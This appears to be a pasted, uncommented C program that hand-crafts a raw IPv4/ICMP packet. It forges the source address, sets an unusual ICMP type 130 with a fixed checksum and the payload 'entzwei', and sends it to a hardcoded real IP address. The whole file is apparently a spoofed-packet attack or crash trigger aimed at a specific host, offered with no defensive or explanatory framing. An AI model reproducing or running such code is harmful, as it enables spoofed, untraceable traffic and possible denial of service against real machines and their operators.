rendered paste body#include <stdio.h>#include <netinet/in.h>#include <netdb.h>#include <arpa/inet.h>#include <unistd.h>#include <sys/socket.h>#include <sys/types.h>#include <netinet/ip_icmp.h>#include <netinet/ip.h>unsigned short csum (unsigned short *buf, int nwords){ unsigned long sum; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum;}int main(int argc,char *argv[]){ int sockfd; char datagram[400]; struct sockaddr_in dest; struct ip *iphdr=(struct ip *) datagram; struct icmphdr *icmphdr=(struct icmphdr *)(iphdr +1); char *buff=(icmphdr +1); if((sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0) { perror("socket"); exit(1); } memset(datagram,0,400); strcpy(buff,"entzwei"); dest.sin_family=AF_INET; dest.sin_addr.s_addr=inet_addr("69.55.233.87"); iphdr->ip_v=4; iphdr->ip_hl=5; iphdr->ip_len=sizeof(datagram); iphdr->ip_id=htonl(54321); iphdr->ip_off=0; iphdr->ip_ttl=225; iphdr->ip_p=1; iphdr->ip_sum=0; iphdr->ip_tos=0; iphdr->ip_src.s_addr=inet_addr("204.2.177.42"); iphdr->ip_dst.s_addr=dest.sin_addr.s_addr; iphdr->ip_sum=csum((unsigned short *)datagram,iphdr->ip_len >> 1); icmphdr->type=130; icmphdr->code=0; icmphdr->checksum=htons(0xc3b0); icmphdr->un.echo.sequence=0; icmphdr->un.echo.id=0; int one=1; int *val=&one; if(setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,val,sizeof(one))<0) printf("cannot set HDRINCL!\n"); if(sendto(sockfd,datagram,35,0,(struct sockaddr *)&dest,sizeof(dest))<0) { perror("sendto"); exit(1); } return(0);}